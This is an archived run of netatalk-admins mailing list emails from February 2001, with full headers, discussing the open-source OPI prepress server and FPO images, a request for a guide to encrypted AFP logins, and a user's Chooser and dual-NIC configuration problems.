	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 02:14:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA22859
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 02:14:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA22846
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 02:14:20 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA22828
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 02:14:18 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id f167ELX25006;
	Tue, 6 Feb 2001 08:14:21 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
Date: Tue, 6 Feb 2001 08:14:21 +0100
To: "Frank Morton" <fmorton@base2inc.com>
Cc: "Volker Birk" <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
Subject: Re: OPI Server ready
Message-ID: <20010206081421.B24665@ebios.de>
References: <20010205181719.A22795@ebios.de> <014101c08fa3$8a818880$8455e5ce@edison>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.13i
In-Reply-To: <014101c08fa3$8a818880$8455e5ce@edison>; from fmorton@base2inc.com on Mon, Feb 05, 2001 at 01:43:32PM -0500

On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
> Good! Does it include utilities to make fpo images?

What are fpo images?

VB.
-- 
*** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Tue Feb  6 02:48:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA12736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 02:48:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA27533
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 02:48:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA27504
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 02:48:45 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h020.c017.sfo.cp.net [209.228.12.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA27442
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 02:48:43 -0500 (EST)
Received: (cpmta 5335 invoked from network); 5 Feb 2001 23:48:42 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.234) with SMTP; 5 Feb 2001 23:48:42 -0800
X-Sent: 6 Feb 2001 07:48:42 GMT
Mime-Version: 1.0
Message-Id: <p04320400b6a55afd4025@[192.168.0.50]>
In-Reply-To: <20010206081323.A24665@ebios.de>
References: <20010205181719.A22795@ebios.de>
 <Pine.LNX.4.30.0102051138070.17088-100000@www.molbio.wisc.edu>
 <20010206081323.A24665@ebios.de>
Date: Mon, 5 Feb 2001 23:51:15 -0800
To: netatalk-admins@umich.edu
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: OPI Server ready
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Mon, Feb 05, 2001 at 11:38:15AM -0600, Daniel E. Lautenschleger wrote:
>>  What is OPI?
>
>Read this page?

obstructing potential integrators, maybe?

-w

>
>VB.
>--
>*** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
>*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
>*** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
>*** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _


From netatalk.administrators-errors@umich.edu  Tue Feb  6 03:06:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA12937
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 03:06:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA09223
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 03:06:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA09207
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 03:06:22 -0500 (EST)
Received: from mcfeely.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA09203
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 03:06:21 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by mcfeely.interaccess.com (8.10.2/8.10.2) with ESMTP id f1686Rf07302
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 02:06:28 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 06 Feb 2001 02:06:28 -0600
Subject: Re: OPI Server ready
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6A50CA4.10996%bucky@interaccess.com>
In-Reply-To: <20010206081421.B24665@ebios.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

If I recall correctly, in the publishing industry an OPI server is one that
swaps high resolution images for low resolution images (often called "FPO"s
for "For Placement Only"). I guess the connection to netatalk is that Macs
have been big in publishing and a cheap Linux box with netatalk and a good
open source OPI server would make for an interesting bargain. I don't
remember what OPI stands for (Open Press Interface?).

-B...

> From: Volker Birk <vb@kanguruh.ebios.de>
> Date: Tue, 6 Feb 2001 08:14:21 +0100
> To: "Frank Morton" <fmorton@base2inc.com>
> Cc: "Volker Birk" <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
> Subject: Re: OPI Server ready
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 6 Feb 2001 02:19:07 -0500 (EST)
> 
> On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
>> Good! Does it include utilities to make fpo images?
> 
> What are fpo images?
> 
> VB.
> -- 
> *** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
> *** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
> *** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
> *** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _
> 


From netatalk.administrators-errors@umich.edu  Tue Feb  6 03:47:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 03:47:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA29214
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 03:47:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA29203
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 03:47:02 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA29193
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 03:47:01 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f168l4119971
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 02:47:04 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 06 Feb 2001 02:47:05 -0600
Subject: Encrypted logins, configuration, The Chooser, etc.
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6A51629.10998%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've perused the archives, but have mostly seen quick jots and morsels, all
assuming quite a bit of pre-existing context. Let's assemble the full story
on encrypted logins and netatalk. I'd like to see a robust how-to that
leaves nothing unsaid. How about you?

What are the various methods for encrypted logins supported by netatalk? In
which versions? What are the advantages/disadvantages of these? Which of
them are older/newer technologies? Which are weak/fading? Which are robust?

What are the various methods for encrypted logins supported by The Chooser?
In which versions?

How does netatalk need to be compiled to support the various methods? How
does this differ among the versions?

How does netatalk need to be configured to support the various methods? How
does this differ among the versions?

Do any end-to-end secure solutions exist? (i.e. no clear text passwords
stored or transmitted) What are they? How (in detail) are they installed and
configured?

What is netatalk 1.5 promising in this regard? What remains to be
implemented or fixed? What is not slated for development before the next
version? (1.6?)

Any other questions I missed?

I know some of the answers to these. But perhaps you know and can explain
them better. Or perhaps you have additional insights.

My reason for asking all this: I want to be able to login (with full
encryption, of course) from a Macintosh to a netatalk server over TCP/IP.
I'm running netatalk-1.4b2+asun2.1.3-8 on LinuxPPC 2000 (2.2.15pre3) and
netatalk-1.4b2+asun2.1.3-7 on LinuxPPC 2000 Q4 (2.2.18), and the shipping
version on OpenBSD 2.8 i386 (netatalk-990130.tgz). I've tried a few times to
get encrypted logins working, all to no avail. I'm not looking for a quick
fix. I'd really like to get a solid picture of the options and issues in my
head. I think a set of the best answers to the above questions will make my
life a lot easier, and probably many of yours as well. Anyone want to take a
crack at these?

Lastly, to you fellas who've picked up the netatalk ball and put it back
into development: thank you!

-B...


From netatalk.administrators-errors@umich.edu  Tue Feb  6 14:25:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27540
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 14:25:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA24887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 14:25:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA24863
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 14:25:37 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA24812
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 14:25:36 -0500 (EST)
Received: from n243-44.berlin.snafu.de ([195.21.243.44] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14QDk6-0001wV-00
	for netatalk-admins@umich.edu; Tue, 06 Feb 2001 20:25:34 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA10058
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 20:24:45 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: OPI Server ready
Date: Tue, 6 Feb 2001 20:24:16 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <20010205181719.A22795@ebios.de> <20010206081323.A24665@ebios.de> <p04320400b6a55afd4025@[192.168.0.50]>
In-Reply-To: <p04320400b6a55afd4025@[192.168.0.50]>
MIME-Version: 1.0
Message-Id: <01020620231402.09678@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA27540

On Tue, 06 Feb 2001, Walt Reed wrote:
> >On Mon, Feb 05, 2001 at 11:38:15AM -0600, Daniel E. Lautenschleger wrote:
> >>  What is OPI?
> >
> >Read this page?

What page?

> 
> obstructing potential integrators, maybe?
> 
> -w
> 
> >
> >VB.

Obscene Pornographic Intercourse? ;-)

No:
Open Prepress Interface!

You have to dig a little harder to find it.
Also http://opi3.ebios.de gives no hint.

I found these docs:
http://partners.adobe.com/asn/developer/PDFS/TN/5660.OPI_2.0.pdf
http://partners.adobe.com/asn/developer/PDFS/TN/OPI_13.pdf

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Feb  6 14:54:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA28599
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 14:54:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22397
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 14:54:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22372
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 14:54:34 -0500 (EST)
Received: from video1.avwashington.com (client-151-200-136-147.tag.com [151.200.136.147] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22339
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 14:54:33 -0500 (EST)
Received: from mail.avwashington.com (IDENT:root@crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with ESMTP id PAA22397;
	Tue, 6 Feb 2001 15:05:24 -0500
Sender: root@video1.avwashington.com
Message-ID: <3A805612.B8650B14@mail.avwashington.com>
Date: Tue, 06 Feb 2001 14:52:50 -0500
From: Chip Mefford <cmefford@avwashington.com>
Reply-To: cpm@avwashington.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu
Subject: Re: OPI Server ready
References: <20010205181719.A22795@ebios.de> <20010206081323.A24665@ebios.de> <p04320400b6a55afd4025@[192.168.0.50]> <01020620231402.09678@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carsten Neumann wrote:
> 
> On Tue, 06 Feb 2001, Walt Reed wrote:
> > >On Mon, Feb 05, 2001 at 11:38:15AM -0600, Daniel E. Lautenschleger wrote:
> > >>  What is OPI?
> > >
> > >Read this page?
> 
> What page?
> >
> > obstructing potential integrators, maybe?
> > 
> > >
> > >VB.
> Obscene Pornographic Intercourse? ;-)
> 
> No:
> Open Prepress Interface!

No no no,

Obtuse Pencilnecked Interlocutor

From netatalk.administrators-errors@umich.edu  Tue Feb  6 15:16:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29379
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 15:16:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 15:16:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28327
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 15:16:31 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA28271
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 15:16:29 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f16KGS200204
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 14:16:28 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 06 Feb 2001 14:16:30 -0600
Subject: Re: OPI Server ready
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6A5B7BD.109B6%bucky@interaccess.com>
In-Reply-To: <01020620231402.09678@athlet>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> From: Carsten Neumann <deltor@snafu.de>
> Date: Tue, 6 Feb 2001 20:24:16 +0100
> 

[...]

> Open Prepress Interface!
> 
> You have to dig a little harder to find it.
> Also http://opi3.ebios.de gives no hint.
> 
> I found these docs:
> http://partners.adobe.com/asn/developer/PDFS/TN/5660.OPI_2.0.pdf
> http://partners.adobe.com/asn/developer/PDFS/TN/OPI_13.pdf

Here's a quote from the second PDF:

"The Open Prepress Interface (OPI) is a collection of PostScript-language
comment conventions that allows a page-layout program to use low or medium
resolution TIFF images for layout and proofing, and have a prepress system
or OPI server automatically substitute a high resolution TIFF or other image
when the final film plates are generated. Both desktop prepress software and
high-end prepress systems can use OPI comments to minimize network traffic
and image storage requirements."

-B...


From netatalk.administrators-errors@umich.edu  Tue Feb  6 15:44:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 15:44:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28531
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 15:44:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28506
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 15:44:20 -0500 (EST)
Received: from www.base2inc.com (www.base2inc.com [204.117.190.140])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA28463
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 15:44:18 -0500 (EST)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by www.base2inc.com (8.9.3/8.9.3) with SMTP id PAA30808;
	Tue, 6 Feb 2001 15:43:07 -0500
Message-ID: <006601c0907d$86366f40$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: "Volker Birk" <vb@kanguruh.ebios.de>
Cc: <netatalk-admins@umich.edu>
References: <20010205181719.A22795@ebios.de> <014101c08fa3$8a818880$8455e5ce@edison> <20010206081421.B24665@ebios.de>
Subject: Re: OPI Server ready
Date: Tue, 6 Feb 2001 15:43:55 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

> On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
> > Good! Does it include utilities to make fpo images?
> 
> What are fpo images?

Sorry for not explaining. "fpo" stands for "for position only" and on
traditional opi systems it is a lower resolution version of the original
image. The fpo image can be used for placement on screen and is
sometimes able to be printed at the lower resolution. The opi server
removes the fpo and substitutes the full resolution image.

For those interested, here are some docs on adobe's site:

http://partners.adobe.com/asn/developer/pdfs/tn/5660.OPI_2.0.pdf

http://partners.adobe.com/asn/developer/pdfs/tn/OPI_13.pdf

Frank Morton
fmorton@base2inc.com


From netatalk.administrators-errors@umich.edu  Tue Feb  6 16:29:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01097
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 16:29:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23672
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 16:29:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23652
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 16:29:13 -0500 (EST)
Received: from mail.martinwilliams.com ([209.46.88.88])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA23625
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 16:29:11 -0500 (EST)
Received: from mw2.martinwilliams.com (mw2.martinwilliams.com [206.147.200.104])
	by mail.martinwilliams.com (8.11.0/8.11.0) with SMTP id f16LPZV16874
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 15:25:36 -0600 (CST)
Received: from mpls-Message_Server by mw2.martinwilliams.com
	with Novell_GroupWise; Tue, 06 Feb 2001 15:30:14 -0600
Message-Id: <sa801886.035@mw2.martinwilliams.com>
X-Mailer: Novell GroupWise 5.5
Date: Tue, 06 Feb 2001 15:29:58 -0600
From: "Matthew Foust" <mfoust@martinwilliams.com>
To: <fmorton@base2inc.com>, <vb@kanguruh.ebios.de>
Cc: <netatalk-admins@umich.edu>
Subject: Re: OPI Server ready
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA01097

http://www.xinet.com 

Xinet is founded  by Scott Seabass who you might recognize as one of the authors of the Unix System Administration Hanbook, aka that red Unix book, now that purple Unix book.  At any rate, they have, in my humble opinion, the best OPI package out there.  They have great information on OPI and other prepress-related technologies on their website.



Matthew Foust
Technology Manager
Martin/Williams Advertising
60 South Sixth Street, 28th Floor
Minneapolis, MN 55402
TEL (612) 340-0800
FAX (612) 342-9700
mfoust@martinwilliams.com

>>> "Frank Morton" <fmorton@base2inc.com> 02/06/01 02:50PM >>>
> On Mon, Feb 05, 2001 at 01:43:32PM -0500, Frank Morton wrote:
> > Good! Does it include utilities to make fpo images?
> 
> What are fpo images?

Sorry for not explaining. "fpo" stands for "for position only" and on
traditional opi systems it is a lower resolution version of the original
image. The fpo image can be used for placement on screen and is
sometimes able to be printed at the lower resolution. The opi server
removes the fpo and substitutes the full resolution image.

For those interested, here are some docs on adobe's site:

http://partners.adobe.com/asn/developer/pdfs/tn/5660.OPI_2.0.pdf 

http://partners.adobe.com/asn/developer/pdfs/tn/OPI_13.pdf 

Frank Morton
fmorton@base2inc.com 



From netatalk.administrators-errors@umich.edu  Tue Feb  6 16:42:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01366
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 16:42:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08104
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 16:42:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08071
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 16:42:35 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA08001
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 16:42:33 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id f16LgUg30993;
	Tue, 6 Feb 2001 22:42:30 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
Date: Tue, 6 Feb 2001 22:42:29 +0100
To: "Matthew Foust" <mfoust@martinwilliams.com>
Cc: <fmorton@base2inc.com>, <vb@kanguruh.ebios.de>,
        <netatalk-admins@umich.edu>
Subject: Re: OPI Server ready
Message-ID: <20010206224228.A28425@ebios.de>
References: <sa801886.034@mw2.martinwilliams.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.13i
In-Reply-To: <sa801886.034@mw2.martinwilliams.com>; from mfoust@martinwilliams.com on Tue, Feb 06, 2001 at 03:29:58PM -0600

On Tue, Feb 06, 2001 at 03:29:58PM -0600, Matthew Foust wrote:
> http://www.xinet.com 
> Xinet is founded  by Scott Seabass who you might recognize as one of the authors of the Unix System Administration Hanbook, aka that red Unix book, now that purple Unix book.  At any rate, they have, in my humble opinion, the best OPI package out there.  They have great information on OPI and other prepress-related technologies on their website.

May be. But: netatalk is free. And: samba is free. And: lpr, plp and cups
are free. And: ghostscript is free. And of course: opi3 is free.

We created it to have this missing link. So you can have a prepress server
system only with free software.

VB.
-- 
*** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Wed Feb  7 05:41:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA18806
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 05:41:55 -0500 (EST)
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id CAA11876
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Feb 2001 02:34:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21864
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Feb 2001 02:31:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21853
	for netatalk.administrators-members@umich.edu; Wed, 7 Feb 2001 02:31:30 -0500 (EST)
Received: from web3403.mail.yahoo.com (web3403.mail.yahoo.com [204.71.203.57])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA21822
	for <netatalk-admins@umich.edu>; Wed, 7 Feb 2001 02:31:29 -0500 (EST)
Message-ID: <20010207073128.3909.qmail@web3403.mail.yahoo.com>
Received: from [24.176.79.249] by web3403.mail.yahoo.com; Tue, 06 Feb 2001 23:31:28 PST
Date: Tue, 6 Feb 2001 23:31:28 -0800 (PST)
From: paul beard <pkdbeard@yahoo.com>
Subject: Old topic: no server in chooser, plus dual NIC issues
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I just crawled thru all the messages on this and can't find an answer yet. I
have some related questions on how exactly you configure this beast. 

Problem #1: 
Here's what I have: 1.4b2+asun2.1.3, on redhat 7.0. Like many others, I see no
resources in my chooser, though I can log in via IP address. 

In afpd.conf:
blue -notcp -ddp -guest -loginmesg "Welcome, friend"

This serves to disable TCP/IP just fine, but appletalk doesn't work either. So
it's not too happy. setting the notcp to tcp or transall allows me to login. 

Problem #2: 
I have 2 NICs, with the one I don't bound to appletalk invariably so. 

since atalk.conf gets overwritten with each restart -- not mentioned in the
docs -- I can't simply put "eth1" in that file. 

Here's some syslog droppings. 
Feb  6 23:25:02 gateway atalkd[11295]: config for no router
Feb  6 23:25:03 gateway atalkd[11295]: ready 0/0/0
